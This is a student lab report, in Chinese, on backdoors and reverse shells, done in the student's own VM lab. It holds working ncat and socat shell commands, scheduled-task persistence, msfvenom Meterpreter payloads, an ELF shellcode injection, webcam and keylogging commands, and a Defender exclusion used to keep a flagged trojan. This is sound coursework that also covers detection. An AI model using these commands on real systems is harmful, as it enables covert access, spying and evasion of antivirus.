20242326 2026-2027-1《网络与系统攻防技术》实验二实验报告
20242326 2026-2027-1《网络与系统攻防技术》实验二实验报告
学号:20242326 姓名:姚诗语 班级:2423
实验名称:后门原理及其应用
一、基础知识
(一)后门与反弹 Shell
后门是绕过正常认证或访问流程、让使用者能通过非预期通道重新进入系统的机制。反弹 Shell 则是被控端主动向外发起连接,再通过这条已经建立的通道回传命令和执行结果。
为什么要反弹?因为目标机往往在 NAT 内网或防火墙后面,外面很难直接连进来,但它主动向外连通常是允许的。当然这不是绝对的,出站流量同样可能被防火墙拦。
实验里要分清三个角色:运行程序的机器、接收连接的监听端、传文件的发送端和接收端。比如 msfvenom 里的 LHOST 是"反弹连接要连到哪",也就是监听端所在机器的地址,不一定是 Windows 宿主机的物理网卡 IP。
(二)Netcat、Ncat 与 Socat
Netcat 常用来建 TCP/UDP 连接、监听端口、传数据,它能让我们直接观察网络通道上的标准输入输出。Ncat 是 Nmap 项目里的改进版,本次 Windows 端用的就是它。要注意 Ncat 和老版本 nc 的语法有差别:监听时端口直接跟在 -l 后面,不用 -p;而且 Ncat 默认只处理一个连接,客户端断开后监听就退出,需要重新启动。
Socat 可以理解为"加强版 nc",强调任意两个数据端点之间的双向转发,支持 pty、stderr 重定向等更多配置。获取交互式 Shell 时 socat 配合 exec:cmd.exe,pty,stderr 参数,效果比裸 nc 更像一个真终端。
(三)cron 与 Windows 任务计划
cron 是 Linux 下的定时任务机制,由守护进程按预设时间执行命令,用户任务用 crontab -e 管理。五个时间字段分别是分、时、日、月、星期,* 表示任意。
Windows 对应的东西是任务计划程序(Task Scheduler),可以用图形界面管理,也可以用 schtasks 命令行创建。创建时要注意 /tn 和任务名之间要有空格,整个命令里的引号要用英文引号。
(四)Metasploit、Meterpreter 与 ELF
Metasploit Framework 把渗透测试功能组织成模块:Exploit 是利用漏洞的模块,Payload 是触发后执行的功能代码,Handler 是处理回连的监听模块,Meterpreter 是功能更全的交互式载荷,普通 shell 只有命令解释能力,Meterpreter 还提供了进程迁移、截屏、摄像头、键盘记录等系统级操作接口。
ELF(Executable and Linkable Format)是 Linux 下的可执行文件格式。本次任务五就是把 shellcode 注入到一个 ELF 程序里。
二、实验内容
(一)实验任务
- 使用 Netcat/Ncat 获取主机 Shell,cron 启动定时任务
- 使用 Socat 获取主机 Shell,通过 Windows 任务计划启动
- 使用 MSF 生成可执行后门,经 Netcat 传到 Windows 并运行,获取 Meterpreter 会话
- 测试 Meterpreter 的屏幕、摄像头、键盘记录功能并尝试提权
- 使用 MSF 生成 Shellcode,注入实践一的 pwn1,验证反弹连接
(二)实验要求问题回答
问题1:列举一个后门进入系统的可能方式。
伪装成正常软件的安装包最典型。比如把后门捆绑进一个破解工具或"绿色版"软件,用户在不可信的下载站下载运行后,后门就在后台随主程序一起跑起来。防范上就是别从不明站点下载可执行文件,运行前查一下数字签名,杀软别关。
问题2:Windows 与 Linux 中后门可能的启动方式有哪些?
Linux 侧:crontab 定时任务、systemd 服务、/etc/rc.local、Shell 启动脚本(~/.bashrc 等)。Windows 侧:任务计划程序、启动文件夹、注册表 Run 键、伪装成系统服务。这些都是系统正常功能,后门借用来实现持久化,所以排查时这些地方都要看。
问题3:Meterpreter 哪些功能让你印象深刻?
摄像头抓拍最让我意外。在对方毫无感知的情况下,Kali 这边一条 webcam_snap 命令,几秒后一张 1920x1080 的照片就存到了我的机器上。以前觉得摄像头有指示灯、有系统权限挡着,实际操作才发现只要会话建立,物理设备同样可以被远程调用。这让人重新理解"中了后门"的代价。
问题4:如何发现系统中可能被安装的后门?
我自己就遇到过一次:这次实验里 Windows Defender 突然弹窗提示发现 Trojan:Win32/Meterpreter,这就是杀软基于特征码发现后门的过程。除此之外,可以定期用 netstat -an 看有没有可疑的外连端口,检查任务计划程序和自启动项里有没有不认识的条目,对可疑文件算一下 MD5 发到在线平台比对,再结合日志分析。
三、实验过程
(一)实验准备
实验环境:Windows 11 宿主机 + VMware Workstation 17 中的 Kali Linux。Windows 登录账户 ASUS,计算机名 LAPTOP-GCUGHPJG;Kali 主机名 yaoshiyu,实验目录 /home/kali/netsec_exp1。
本次实验的网络环境搭得比较曲折,这里先交代结论:VMware 的 NAT 网段为 192.168.232.0/24,Kali 的 eth0 固定为 192.168.232.130,宿主机 VMnet8 网卡为 192.168.232.1。详细排错过程放在第四部分问题1。


(二)任务一:Ncat 获取 Shell + cron 定时任务
1. 建立连接
Windows 端(管理员 CMD,ncat 所在目录)启动监听:ncat -l 2311 -e cmd.exe
另开 CMD 验证:netstat -an | findstr 2311
显示 2311 端口 LISTENING。

Kali 端连接:nc 192.168.232.1 2311
连接后在 Kali 里输入 dir、ipconfig,返回的是 Windows 的结果。第一次截图时中文显示为乱码,查了下是 CMD 默认 GBK 编码导致的,在监听窗口先执行 chcp 65001 切换 UTF-8 后重连,输出就正常了。


2. 配置 cron
mkdir -p /home/kali/netsec_exp1
crontab -e
添加任务(每分钟写一次学号文件):
* * * * * echo 20242326 > /home/kali/netsec_exp1/20242326.txt

等待整分钟后查看:
cat /home/kali/netsec_exp1/20242326.txt
文件内容为 20242326。

另外观察到:Ncat 在客户端断开后会自己退出监听,不像老版本 nc 可以反复接受连接,每次测试前都要重新启动,这一点和后续端口占用排查有关。
(三)任务二:Socat 获取 Shell + 任务计划启动
1. Socat 连接
Windows 端(socat 目录的 CMD):
socat tcp-listen:2311 exec:cmd.exe,pty,stderr
启动时出现 Couldn't compute FAST_CWD pointer 的提示,查资料得知这是 Cygwin 兼容层的警告,不影响功能。

Kali 端:
socat -,raw,echo=0 tcp:192.168.232.1 2311
连上后出现了 D:\网络攻防实验\socat> 提示符,socat 通道已经和 Windows cmd 绑定。同样先 chcp 65001 处理了乱码。

2. 创建任务计划
管理员 CMD 执行:
schtasks /create /tn "20242326ysysocat" /tr "D:\网络攻防实验\socat\socat.exe tcp-listen:2311 exec:cmd.exe,pty,stderr" /sc minute /mo 1

schtasks /query /tn "20242326ysysocat"
能查到任务。打开 taskschd.msc 图形界面,任务 20242326ysysocat 显示"准备就绪",触发器为"每间隔 00:01:00 重复一次"。


截图取证后,在任务计划程序中右键删除了该任务,避免它每分钟拉起 socat 占用 2311 端口影响后续实验。
(四)任务三:MSF 后门 + 传输 + Meterpreter 会话
1. 生成后门
Kali 执行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=2311 -f exe > backdoor20242326.exe
注意 LHOST 填的是 Kali 自己的地址 192.168.232.130,因为反弹连接的目标是监听端。



2. 传输与校验
Windows 端(CMD,D:\exp2 目录)接收:
ncat -l 2312 > backdoor20242326.exe
Kali 发送:
nc 192.168.232.1 2312 < backdoor20242326.exe
两端分别计算 MD5:
certutil -hashfile backdoor20242326.exe MD5
md5sum backdoor20242326.exe
两边均为 cd7625f0817caca59092093cacbccf21,传输无损。


3. 获取会话
Kali 启动 handler:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.232.130
set LPORT 2311
exploit
Windows 双击运行 backdoor20242326.exe(无界面,属正常现象)。handler 显示 Meterpreter session 1 opened。

会话中执行:
sysinfo
getuid
pwd
ls
得到:Windows 11 24H2,x64,Meterpreter x86/windows;当前用户 LAPTOP-GCUGHPJG\ASUS;工作目录 D:\exp2,能看到后门程序本身。

(五)任务四:Meterpreter 功能测试
1. 截屏与摄像头
screenshot
返回保存路径 /home/kali/xxxx.jpeg,在 Kali 文件管理器中打开,内容为 Windows 当前桌面。

webcam_snap
返回 Got frame,抓到 1920x1080 的照片并保存为 jpeg。在图像查看器中打开确认。

**2. 键盘记录**
keyscan_start
切到 Windows 打开记事本输入 20242326,切回 Kali:
keyscan_dump


**3. 录音(附加尝试)**
record_mic -d 5
成功保存 /home/kali/VzPONXRf.wav。

**4. 提权尝试**
getsystem
依次尝试了 Named Pipe Impersonation(In Memory/Dropper/Admin 等四种变体)、Token Duplication、EFSRPC(EfsPotato)等技术,均失败。
(此处插入截图:getsystem 输出)
getuid
当前用户仍是 LAPTOP-GCUGHPJG\ASUS,未提升为 SYSTEM。结论:getsystem 只是"尝试过",不能据此认为提权成功,最终以 getuid 的验证为准。

### (六)任务五:Shellcode 注入 pwn1
**1. 生成注入文件**
pwn1_20242326 位于 Kali 桌面,file 验证为 ELF 32-bit LSB executable。
```bash
cd ~/Desktop
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=2311 -x pwn1_20242326 -f elf > 20242326_pwn
2. 发现生成异常
首次生成结果只有 123 字节,file 显示为 data 而非 ELF——这说明输出根本不是可执行文件。此时无论怎么调 GDB 和栈地址都没有意义,问题出在生成阶段。


排查方向转向 Metasploit 本身。查看 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb 中的 to_linux_x86_custom_elf 函数,发现函数末尾是一条对 elf 变量的赋值表达式。Ruby 的方法默认把最后一个表达式的值作为返回值,赋值表达式的值是右边的 code,于是函数实际返回的是 123 字节的裸 payload,组装好的完整 elf 被丢掉了。
3. 修复并重新生成
先备份:
sudo cp /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb ~/x86.rb.bak
在赋值语句后追加一行 elf,显式返回完整 elf,保存后语法检查:
ruby -c /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb
# Syntax OK

重新执行 msfvenom,Final size of elf file 变为 7419 字节,与原始 pwn1 大小一致。



4. 验证文件结构
file 20242326_pwn
ls -l 20242326_pwn
readelf -l 20242326_pwn
确认:ELF 32-bit LSB executable,Intel i386;大小 7419 字节;第一个 LOAD 段权限由 R E 变为 RWE(注入代码所在段被改写成可写)。
5. 反弹连接验证
handler 换用 payload linux/x86/meterpreter/reverse_tcp 后 exploit,另一个终端运行:
chmod +x ~/Desktop/20242326_pwn
~/Desktop/20242326_pwn
程序无输出运行,handler 显示 Sending stage (1062760 bytes),随后 Meterpreter session 1 opened。

pwd
ls
返回 /home/kali 及目录内容,与任务三的 Windows 会话(D:\exp2)完全不同,证明这是 ELF 注入后在本机 Kali 上运行产生的 Linux 会话。

至此五个任务全部完成。
四、问题及解决方案
问题1:虚拟机与宿主机完全 ping 不通(本次实验耗时最长的问题)
现象:Kali(192.168.117.130)与 Windows 互相 ping 不通,Windows 侧先提示"无法访问目标主机",后来又出现"来自 10.100.0.133 的回复:TTL 传输中过期"——说明流量根本没走虚拟网卡,而是从物理网卡泄漏到了校园网里。
排查过程:
- 发现 VMware Network Adapter VMnet8 的 IP 变成了 169.254.x.x(DHCP 获取失败),手动设为 192.168.117.1 后,本机一侧恢复了;
- 用 sc query 检查发现 VMware NAT Service 正常,但 VMware DHCP Service 显示"指定的服务未安装";
- 在虚拟网络编辑器里"还原默认设置"、用安装包修复(Repair)、重启电脑,网段换成了 192.168.232.0/24,但 DHCP 服务仍然装不回来;
- 全盘搜索 vmnetdhcp.exe 也找不到文件,判断安装包缺少该组件。
解决方案:放弃修复 DHCP,改用静态 IP 绕过——Kali 手动配置 192.168.232.130/24、网关 192.168.232.2,双向 ping 通。这说明 DHCP 服务只负责自动分配地址,NAT 转发(NAT Service)完好时,静态配置可以达到同样效果。代价是每次重启 Kali 要重新配置。
经验:排查网络问题要先分清"地址分配"和"数据转发"两个层面,这次最大的弯路是一开始把两者混在一起查。



问题2:后门文件被 Windows Defender 隔离
现象:ncat 传输完成后,certutil 计算 MD5 失败,报 0x80070002(文件不存在),同时右下角弹出"Microsoft Defender 已发现威胁"。
排查:打开 Windows 安全中心 → 保护历史记录,发现 backdoor20242326.exe 被识别为 Trojan:Win32/Meterpreter.RPZ!MTB 并隔离。
解决:先在"病毒和威胁防护设置 → 排除项"中添加文件夹 D:\exp2,再还原被隔离的文件,重新计算 MD5,与 Kali 端一致。这个经历恰好验证了思考题4——杀软特征码查杀是发现后门的有效手段之一。
问题3:msfvenom 生成 123 字节的"假 ELF"
见任务五。核心教训:调试问题前必须先验证生成物本身。我开始时一直在按实验一的思路怀疑栈地址和输入构造,后来才发现生成的文件根本不是 ELF。另外修改工具源码前先备份(本次备份为 ~/x86.rb.bak),改完用 ruby -c 做语法检查,这两步保证了改动可控、可回退。
问题4:多条命令粘贴导致执行混乱
实验中两次犯同一个错:把多条命令一次性粘进终端,恰好赶上 sudo 要求输入密码,后面的命令全部成了密码内容,导致认证失败;另一次是 msfvenom 命令被换行截成两段,前半段直接把 payload 打在了屏幕上。后来凡是涉及 sudo 的命令都改成一次只输一条。这类"低级错误"其实最能提醒人:终端是逐行解释执行的,粘贴多行内容前要想清楚每一行会在什么状态下被读到。
五、学习感悟
这次实验最深刻的体会不是学会了哪条命令,而是学会了"怎么确认自己真的成功了"。任务三里,文件明明已经出现在 Windows 目录里,却因为传输环节的问题不能运行,最后靠两端 MD5 比对才确认真的是同一个文件;任务五里,msfvenom"运行成功"输出了文件,结果只有 123 字节,一查根本不是 ELF。命令"没报错"和"做对了"之间,隔着验证这一步。
任务五的源码排查也让我对"工具有 bug"这件事有了实感。以前觉得出问题绝对是自己的原因,实际上 to_linux_x86_custom_elf 的返回值处理就是一个真实的缺陷,而且表现非常迷惑——不报错、正常退出,只是结果不对。这提醒我排错时要敢于怀疑工具本身。
摄像头抓拍的图片弹出来的那一刻,我确实被震了一下——如果这不是自己的电脑,被拍的人完全无感知,(根本没有表情管理的时间。。。)。Meterpreter 能做的远不止弹个 shell。理解了攻击方的能力边界,才能真正理解防守方为什么要查自启动、查外连、保持杀软更新。这大概也是这门课把"如何发现后门"列为必答题的原因。
其实这次试验是真的想把它好好做出来,因为之前一直觉得这些东西太难,怀疑自己到底能不能完成,之前上课也没好好听,有破罐子破摔的想法,这次实验的完成是一个良好的开端,希望以后我也能不怕花时间,不怕不会做,争取拿一个高分吧。

浙公网安备 33010602011771号